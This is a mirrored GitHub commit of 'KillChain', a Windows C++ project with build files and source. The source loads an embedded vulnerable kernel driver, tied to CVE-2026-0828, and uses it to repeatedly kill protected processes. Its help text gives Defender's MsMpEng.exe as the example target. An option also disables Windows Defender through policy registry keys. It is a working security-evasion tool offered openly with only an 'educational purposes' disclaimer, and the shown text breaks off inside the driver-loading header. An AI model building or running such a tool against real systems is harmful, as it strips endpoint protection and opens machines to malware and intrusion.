mirror of
https://github.com/oxfemale/KillChain
synced 2026-06-08 16:35:03 +00:00
Добавьте файлы проекта.
This commit is contained in:
@@ -0,0 +1,37 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.14.36804.6 d17.14
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KillChain", "KillChain\KillChain.vcxproj", "{2820F669-F27E-48B0-B425-0100B2FCB83F}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|ARM64 = Debug|ARM64
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|ARM64 = Release|ARM64
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{2820F669-F27E-48B0-B425-0100B2FCB83F}.Debug|ARM64.ActiveCfg = Debug|ARM64
|
||||
{2820F669-F27E-48B0-B425-0100B2FCB83F}.Debug|ARM64.Build.0 = Debug|ARM64
|
||||
{2820F669-F27E-48B0-B425-0100B2FCB83F}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{2820F669-F27E-48B0-B425-0100B2FCB83F}.Debug|x64.Build.0 = Debug|x64
|
||||
{2820F669-F27E-48B0-B425-0100B2FCB83F}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{2820F669-F27E-48B0-B425-0100B2FCB83F}.Debug|x86.Build.0 = Debug|Win32
|
||||
{2820F669-F27E-48B0-B425-0100B2FCB83F}.Release|ARM64.ActiveCfg = Release|ARM64
|
||||
{2820F669-F27E-48B0-B425-0100B2FCB83F}.Release|ARM64.Build.0 = Release|ARM64
|
||||
{2820F669-F27E-48B0-B425-0100B2FCB83F}.Release|x64.ActiveCfg = Release|x64
|
||||
{2820F669-F27E-48B0-B425-0100B2FCB83F}.Release|x64.Build.0 = Release|x64
|
||||
{2820F669-F27E-48B0-B425-0100B2FCB83F}.Release|x86.ActiveCfg = Release|Win32
|
||||
{2820F669-F27E-48B0-B425-0100B2FCB83F}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {B1DFDE8F-40C9-489C-B68E-4A3D2C32D206}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,261 @@
|
||||
/*
|
||||
* ProcessMonitorDriver.sys (CVE-2026-0828)
|
||||
*
|
||||
* Description: A vulnerable kernel driver that allows user-mode applications to terminate protected processes by sending a
|
||||
* custom IOCTL with the target PID. This driver is intended for educational and testing purposes only, and should not be used in production environments.
|
||||
*
|
||||
* Features:
|
||||
* - Terminate processes by PID or executable name
|
||||
* - Optionally disable Windows Defender via registry modifications
|
||||
* - Configurable logging with multiple verbosity levels and output options
|
||||
* - Clean driver unloading and service cleanup functionality
|
||||
* Usage:
|
||||
* 1. Compile the driver and place it in the same directory as KillChain.exe
|
||||
* 2. Run KillChain.exe with appropriate arguments to terminate target processes or disable Defender
|
||||
* 3. Use --uninstall-driver to clean up the driver and registry entries after testing
|
||||
* Disclaimer: This code is for educational purposes only. The author is not responsible for any misuse or damage caused by this tool.
|
||||
*
|
||||
* Coded by Eleven Red Pandas:
|
||||
* - GitHub: https://github.com/oxfemale
|
||||
* - X: https://x.com/bytecodevm
|
||||
*
|
||||
*/
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include "Logger.h"
|
||||
#include "LoadDriver.h"
|
||||
|
||||
#define IOCTL_KILL_PROCESS 0xB822200C
|
||||
|
||||
Logger g_Logger;
|
||||
|
||||
DWORD GetPidByName(const char* procName) {
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnap == INVALID_HANDLE_VALUE) return 0;
|
||||
|
||||
PROCESSENTRY32W pe32;
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32W);
|
||||
DWORD pid = 0;
|
||||
|
||||
int wideLen = MultiByteToWideChar(CP_ACP, 0, procName, -1, NULL, 0);
|
||||
wchar_t* wideName = new wchar_t[wideLen];
|
||||
MultiByteToWideChar(CP_ACP, 0, procName, -1, wideName, wideLen);
|
||||
|
||||
if (Process32FirstW(hSnap, &pe32)) {
|
||||
do {
|
||||
if (_wcsicmp(pe32.szExeFile, wideName) == 0) {
|
||||
pid = pe32.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32NextW(hSnap, &pe32));
|
||||
}
|
||||
|
||||
delete[] wideName;
|
||||
CloseHandle(hSnap);
|
||||
return pid;
|
||||
}
|
||||
|
||||
void ShowHelp() {
|
||||
g_Logger.Raw(
|
||||
"Usage: KillChain.exe [options]\n"
|
||||
"\n"
|
||||
"Options:\n"
|
||||
" --pid <PID> Terminate process by PID\n"
|
||||
" --name <ProcessName> Terminate process by executable name\n"
|
||||
" --disable-defender Also disable Windows Defender via registry\n"
|
||||
" --log-level <0-3> Logging verbosity (0=errors, 1=normal, 2=verbose, 3=debug)\n"
|
||||
" --output <file> Save log output to file\n"
|
||||
" --uninstall-driver Unload driver, delete service and driver file\n"
|
||||
" --help Show this help\n"
|
||||
"\n"
|
||||
"Examples:\n"
|
||||
" KillChain.exe --name MsMpEng.exe\n"
|
||||
" KillChain.exe --pid 1234 --log-level 2 --output log.txt\n"
|
||||
" KillChain.exe --name notepad.exe --disable-defender\n"
|
||||
" KillChain.exe --uninstall-driver\n",
|
||||
FOREGROUND_GREEN | FOREGROUND_INTENSITY
|
||||
);
|
||||
}
|
||||
|
||||
void DisableWindowsDefender() {
|
||||
g_Logger.Info("Attempting to disable Windows Defender via registry...");
|
||||
HKEY key = NULL;
|
||||
HKEY new_key = NULL;
|
||||
DWORD disable = 1;
|
||||
|
||||
LONG res = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
|
||||
"SOFTWARE\\Policies\\Microsoft\\Windows Defender",
|
||||
0, KEY_ALL_ACCESS, &key);
|
||||
if (res != ERROR_SUCCESS) {
|
||||
if (res == ERROR_ACCESS_DENIED)
|
||||
g_Logger.Error("Access denied. Run as Administrator.");
|
||||
else
|
||||
g_Logger.Error("Failed to open Windows Defender policy key. Error: %ld", res);
|
||||
return;
|
||||
}
|
||||
|
||||
RegSetValueExA(key, "DisableAntiSpyware", 0, REG_DWORD,
|
||||
(const BYTE*)&disable, sizeof(disable));
|
||||
g_Logger.Debug("DisableAntiSpyware set to 1.");
|
||||
|
||||
DWORD disposition;
|
||||
res = RegCreateKeyExA(key, "Real-Time Protection", 0, NULL,
|
||||
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,
|
||||
NULL, &new_key, &disposition);
|
||||
if (res != ERROR_SUCCESS) {
|
||||
g_Logger.Error("Failed to create/open Real-Time Protection key. Error: %ld", res);
|
||||
RegCloseKey(key);
|
||||
return;
|
||||
}
|
||||
|
||||
const char* rtValues[] = {
|
||||
"DisableRealtimeMonitoring",
|
||||
"DisableBehaviorMonitoring",
|
||||
"DisableScanOnRealtimeEnable",
|
||||
"DisableOnAccessProtection",
|
||||
"DisableIOAVProtection"
|
||||
};
|
||||
for (int i = 0; i < 5; i++) {
|
||||
RegSetValueExA(new_key, rtValues[i], 0, REG_DWORD,
|
||||
(const BYTE*)&disable, sizeof(disable));
|
||||
g_Logger.Debug("%s set to 1.", rtValues[i]);
|
||||
}
|
||||
|
||||
RegCloseKey(key);
|
||||
RegCloseKey(new_key);
|
||||
g_Logger.Info("Windows Defender disable completed. Restart the computer to apply changes.");
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
// Default values
|
||||
ULONG64 targetPid = 0;
|
||||
char targetName[256] = { 0 };
|
||||
bool disableDefender = false;
|
||||
bool uninstallDriver = false;
|
||||
int logLevel = 1;
|
||||
const char* outputFile = nullptr;
|
||||
|
||||
PrintLogo();
|
||||
|
||||
// Parse arguments
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (strcmp(argv[i], "--help") == 0) {
|
||||
ShowHelp();
|
||||
return 0;
|
||||
}
|
||||
else if (strcmp(argv[i], "--uninstall-driver") == 0) {
|
||||
uninstallDriver = true;
|
||||
}
|
||||
else if (strcmp(argv[i], "--pid") == 0 && i + 1 < argc) {
|
||||
targetPid = _strtoui64(argv[++i], nullptr, 10);
|
||||
}
|
||||
else if (strcmp(argv[i], "--name") == 0 && i + 1 < argc) {
|
||||
strncpy_s(targetName, argv[++i], sizeof(targetName) - 1);
|
||||
}
|
||||
else if (strcmp(argv[i], "--disable-defender") == 0) {
|
||||
disableDefender = true;
|
||||
}
|
||||
else if (strcmp(argv[i], "--log-level") == 0 && i + 1 < argc) {
|
||||
logLevel = atoi(argv[++i]);
|
||||
}
|
||||
else if (strcmp(argv[i], "--output") == 0 && i + 1 < argc) {
|
||||
outputFile = argv[++i];
|
||||
}
|
||||
else {
|
||||
g_Logger.Error("Unknown option: %s", argv[i]);
|
||||
ShowHelp();
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
// Initialize logger
|
||||
g_Logger.SetLogLevel(logLevel);
|
||||
if (outputFile) {
|
||||
if (!g_Logger.SetOutputFile(outputFile))
|
||||
g_Logger.Warning("Failed to open log file: %s", outputFile);
|
||||
}
|
||||
|
||||
// Handle uninstall request
|
||||
if (uninstallDriver) {
|
||||
return UninstallDriver();
|
||||
}
|
||||
|
||||
// If no target specified, show help
|
||||
if (targetPid == 0 && targetName[0] == 0) {
|
||||
ShowHelp();
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Load driver (skip if already loaded)
|
||||
if (LoadDriver(false) != 0) {
|
||||
g_Logger.Error("Driver loading failed. Exiting.");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Open device once (reused in loop)
|
||||
HANDLE hDevice = CreateFileA("\\\\.\\STProcessMonitorDriver",
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
0, NULL, OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hDevice == INVALID_HANDLE_VALUE) {
|
||||
g_Logger.Error("Failed to open device. Error: %lu", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
g_Logger.Debug("Device opened successfully.");
|
||||
|
||||
// Loop variables
|
||||
int terminatedCount = 0;
|
||||
bool defenderDisabled = false;
|
||||
DWORD startTime = GetTickCount();
|
||||
const DWORD maxDurationMs = 360 * 1000; // 360 seconds
|
||||
|
||||
g_Logger.Info("Starting termination loop (max 360 seconds)...");
|
||||
|
||||
while (true) {
|
||||
// Check timeout
|
||||
if (GetTickCount() - startTime >= maxDurationMs) {
|
||||
g_Logger.Warning("Timeout reached (360 seconds). Exiting loop.");
|
||||
break;
|
||||
}
|
||||
|
||||
// Resolve PID if target is process name (re-check every iteration)
|
||||
if (targetName[0] != 0) {
|
||||
targetPid = GetPidByName(targetName);
|
||||
if (targetPid == 0) {
|
||||
g_Logger.Debug("Process %s not found, waiting...", targetName);
|
||||
Sleep(2000);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Send kill IOCTL with dummy output buffer
|
||||
DWORD bytesReturned;
|
||||
DWORD dummyOutput = 0;
|
||||
BOOL result = DeviceIoControl(hDevice, IOCTL_KILL_PROCESS,
|
||||
&targetPid, sizeof(targetPid),
|
||||
&dummyOutput, sizeof(dummyOutput),
|
||||
&bytesReturned, NULL);
|
||||
|
||||
if (result) {
|
||||
g_Logger.Info("Process with PID %llu terminated successfully.", targetPid);
|
||||
terminatedCount++;
|
||||
|
||||
if (disableDefender && !defenderDisabled && terminatedCount >= 2) {
|
||||
DisableWindowsDefender();
|
||||
defenderDisabled = true;
|
||||
}
|
||||
}
|
||||
else {
|
||||
DWORD err = GetLastError();
|
||||
if (err != ERROR_INSUFFICIENT_BUFFER) {
|
||||
g_Logger.Warning("Failed to terminate process (PID %llu). Error: %lu", targetPid, err);
|
||||
}
|
||||
}
|
||||
|
||||
Sleep(2000);
|
||||
}
|
||||
|
||||
CloseHandle(hDevice);
|
||||
g_Logger.Info("KillChain execution completed.");
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,196 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|ARM64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>ARM64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|ARM64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>ARM64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{2820f669-f27e-48b0-b425-0100b2fcb83f}</ProjectGuid>
|
||||
<RootNamespace>KillChain</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|ARM64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|ARM64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="KillChain.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="driverBytes.h" />
|
||||
<ClInclude Include="LoadDriver.h" />
|
||||
<ClInclude Include="Logger.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,33 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Исходные файлы">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Файлы заголовков">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Файлы ресурсов">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="KillChain.cpp">
|
||||
<Filter>Исходные файлы</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Logger.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="LoadDriver.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="driverBytes.h">
|
||||
<Filter>Файлы заголовков</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,350 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <string>
|
||||
#include <psapi.h>
|
||||
#include <shlwapi.h>
|
||||
#include "Logger.h"
|
||||
|
||||
#pragma comment(lib, "psapi.lib")
|
||||
#pragma comment(lib, "advapi32.lib")
|
||||
#pragma comment(lib, "shlwapi.lib")
|
||||
#include "driverBytes.h"
|
||||
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||
#define STATUS_IMAGE_ALREADY_LOADED ((NTSTATUS)0xC000010E)
|
||||
#define STATUS_OBJECT_NAME_NOT_FOUND ((NTSTATUS)0xC0000034L)
|
||||
#define SE_LOAD_DRIVER_NAME TEXT("SeLoadDriverPrivilege")
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtLoadDriver)(PUNICODE_STRING DriverServiceName);
|
||||
typedef NTSTATUS(NTAPI* pNtUnloadDriver)(PUNICODE_STRING DriverServiceName);
|
||||
typedef VOID(NTAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||
|
||||
// Helper functions
|
||||
static std::string GetFileNameFromPath(const std::string& path) {
|
||||
size_t lastSlash = path.find_last_of("\\/");
|
||||
if (std::string::npos == lastSlash) return path;
|
||||
return path.substr(lastSlash + 1);
|
||||
}
|
||||
|
||||
static std::wstring StringToWString(const std::string& str) {
|
||||
int size = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, nullptr, 0);
|
||||
std::wstring wstr(size, 0);
|
||||
MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, &wstr[0], size);
|
||||
return wstr;
|
||||
}
|
||||
|
||||
static std::string GetTempDriverPath(const std::string& driverName) {
|
||||
char tempPath[MAX_PATH];
|
||||
GetTempPathA(MAX_PATH, tempPath);
|
||||
return std::string(tempPath) + driverName + ".sys";
|
||||
}
|
||||
|
||||
static bool ExtractDriverToTemp(const std::string& outputPath) {
|
||||
g_Logger.Debug("Extracting embedded driver to: %s", outputPath.c_str());
|
||||
HANDLE hFile = CreateFileA(outputPath.c_str(), GENERIC_WRITE, 0, NULL,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
g_Logger.Error("Failed to create temp file. Error: %lu", GetLastError());
|
||||
return false;
|
||||
}
|
||||
DWORD bytesWritten;
|
||||
bool success = WriteFile(hFile, g_DriverData, g_DriverData_size, &bytesWritten, NULL);
|
||||
CloseHandle(hFile);
|
||||
if (!success || bytesWritten != g_DriverData_size) {
|
||||
g_Logger.Error("Failed to write driver data. Error: %lu", GetLastError());
|
||||
return false;
|
||||
}
|
||||
g_Logger.Debug("Driver extracted successfully (%lu bytes)", bytesWritten);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool DeleteTempDriver(const std::string& driverPath) {
|
||||
if (PathFileExistsA(driverPath.c_str())) {
|
||||
if (DeleteFileA(driverPath.c_str())) {
|
||||
g_Logger.Debug("Temporary driver file deleted.");
|
||||
return true;
|
||||
}
|
||||
else {
|
||||
g_Logger.Warning("Failed to delete temp driver. Error: %lu", GetLastError());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool EnableLoadDriverPrivilege() {
|
||||
HANDLE hToken;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||
g_Logger.Error("OpenProcessToken failed: %lu", GetLastError());
|
||||
return false;
|
||||
}
|
||||
LUID luid;
|
||||
if (!LookupPrivilegeValue(nullptr, SE_LOAD_DRIVER_NAME, &luid)) {
|
||||
g_Logger.Error("LookupPrivilegeValue failed: %lu", GetLastError());
|
||||
CloseHandle(hToken);
|
||||
return false;
|
||||
}
|
||||
TOKEN_PRIVILEGES tp;
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
bool res = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr);
|
||||
CloseHandle(hToken);
|
||||
if (!res || GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
|
||||
